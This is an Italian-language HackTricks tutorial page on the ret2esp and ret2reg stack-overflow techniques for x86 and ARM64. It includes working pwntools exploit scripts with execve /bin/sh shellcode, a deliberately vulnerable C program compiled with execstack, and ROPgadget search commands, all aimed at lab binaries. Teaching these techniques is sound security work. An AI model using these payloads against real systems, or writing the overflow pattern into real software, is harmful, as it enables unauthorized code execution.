Ret2esp / Ret2reg
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Ret2esp
PoichĂŠ lâESP (Stack Pointer) punta sempre alla cima dello stack, questa tecnica prevede di sostituire lâEIP (Instruction Pointer) con lâindirizzo di unâistruzione jmp esp o call esp. Facendo ciò, il shellcode viene posizionato subito dopo lâEIP sovrascritto. Quando viene eseguita lâistruzione ret, lâESP punta allâindirizzo successivo, precisamente dove è memorizzato il shellcode.
Se Address Space Layout Randomization (ASLR) non è abilitato in Windows o Linux, è possibile utilizzare le istruzioni jmp esp o call esp trovate nelle librerie condivise. Tuttavia, con ASLR attivo, potrebbe essere necessario cercare allâinterno del programma vulnerabile stesso per queste istruzioni (e potrebbe essere necessario sconfiggere PIE).
Inoltre, essere in grado di posizionare il shellcode dopo la corruzione dellâEIP, piuttosto che nel mezzo dello stack, garantisce che eventuali istruzioni push o pop eseguite durante lâoperazione della funzione non interferiscano con il shellcode. Questa interferenza potrebbe verificarsi se il shellcode fosse posizionato nel mezzo dello stack della funzione.
Mancanza di spazio
Se ti manca spazio per scrivere dopo aver sovrascritto lâRIP (forse solo pochi byte), scrivi un shellcode iniziale jmp come:
sub rsp, 0x30
jmp rsp
E scrivi il shellcode allâinizio dello stack.
Esempio
Puoi trovare un esempio di questa tecnica in https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp con un exploit finale come:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
Puoi vedere un altro esempio di questa tecnica in https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Câè un buffer overflow senza NX abilitato, viene utilizzato un gadget per ridurre lâindirizzo di $esp e poi un jmp esp; per saltare al shellcode:
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
Ret2reg
Allo stesso modo, se sappiamo che una funzione restituisce lâindirizzo dove è memorizzato il shellcode, possiamo sfruttare le istruzioni call eax o jmp eax (note come tecnica ret2eax), offrendo un altro metodo per eseguire il nostro shellcode. Proprio come eax, qualsiasi altro registro contenente un indirizzo interessante potrebbe essere utilizzato (ret2reg).
Esempio
Puoi trovare alcuni esempi qui:
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c
strcpymemorizzerĂ ineaxlâindirizzo del buffer dove è stato memorizzato il shellcode eeaxnon viene sovrascritto, quindi è possibile utilizzare unret2eax.
ARM64
Ret2sp
In ARM64 non ci sono istruzioni che consentono di saltare al registro SP. Potrebbe essere possibile trovare un gadget che sposta sp in un registro e poi salta a quel registro, ma nella libc della mia kali non sono riuscito a trovare alcun gadget di questo tipo:
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
Lâunico che ho scoperto cambierebbe il valore del registro dove sp è stato copiato prima di saltare a esso (quindi diventerebbe inutile):
.png)
Ret2reg
Se un registro ha un indirizzo interessante, è possibile saltarci semplicemente trovando lâistruzione adeguata. Potresti usare qualcosa come:
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
In ARM64, è x0 che memorizza il valore di ritorno di una funzione, quindi potrebbe essere che x0 memorizzi lâindirizzo di un buffer controllato dallâutente con uno shellcode da eseguire.
Example code:
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
Controllando la disassemblaggio della funzione, è possibile vedere che lâindirizzo del buffer (vulnerabile a bof e controllato dallâutente) è memorizzato in x0 prima di tornare dal buffer overflow:
.png)
Ă anche possibile trovare il gadget br x0 nella funzione do_stuff:
.png)
Utilizzeremo quel gadget per saltarci perchĂŠ il binario è compilato SENZA PIE. Usando un pattern è possibile vedere che lâoffset del buffer overflow è 80, quindi lâexploit sarebbe:
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
Warning
Se invece di
fgetsfosse stato usato qualcosa comeread, sarebbe stato possibile bypassare PIE anche sovrascrivendo solo gli ultimi 2 byte dellâindirizzo di ritorno per tornare allâistruzionebr x0;senza bisogno di conoscere lâindirizzo completo.
Confgetsnon funziona perchĂŠ aggiunge un byte nullo (0x00) alla fine.
Protezioni
- NX: Se lo stack non è eseguibile, questo non aiuterà poichÊ dobbiamo posizionare il shellcode nello stack e saltare per eseguirlo.
- ASLR & PIE: Questi possono rendere piĂš difficile trovare unâistruzione a cui saltare per esp o qualsiasi altro registro.
Riferimenti
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

